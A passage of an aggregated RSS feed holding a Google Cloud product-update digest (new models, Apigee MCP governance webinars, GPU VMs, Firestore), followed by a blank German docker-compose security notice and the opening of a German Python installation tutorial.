<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Zwei Probleme in docker-compose (Fedora)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3662804/unix-server/security-zwei-probleme-in-docker-compose-fedora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662804/unix-server/security-zwei-probleme-in-docker-compose-fedora/</guid>
<pubDate>Sun, 12 Jul 2026 07:46:31 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Tutorial: Python richtig installieren]]></title>
<description><![CDATA[Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.
					Foto: Flegere – shutterstock.com




Mit der einsteiger- und benutzerfreundlichen Programmiers...]]></description>
<link>https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</guid>
<pubDate>Sun, 12 Jul 2026 05:09:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." title="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." src="https://images.computerwoche.de/bdb/3284280/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.</p></figcaption></figure><p class="imageCredit">
					Foto: Flegere – shutterstock.com</p></div>




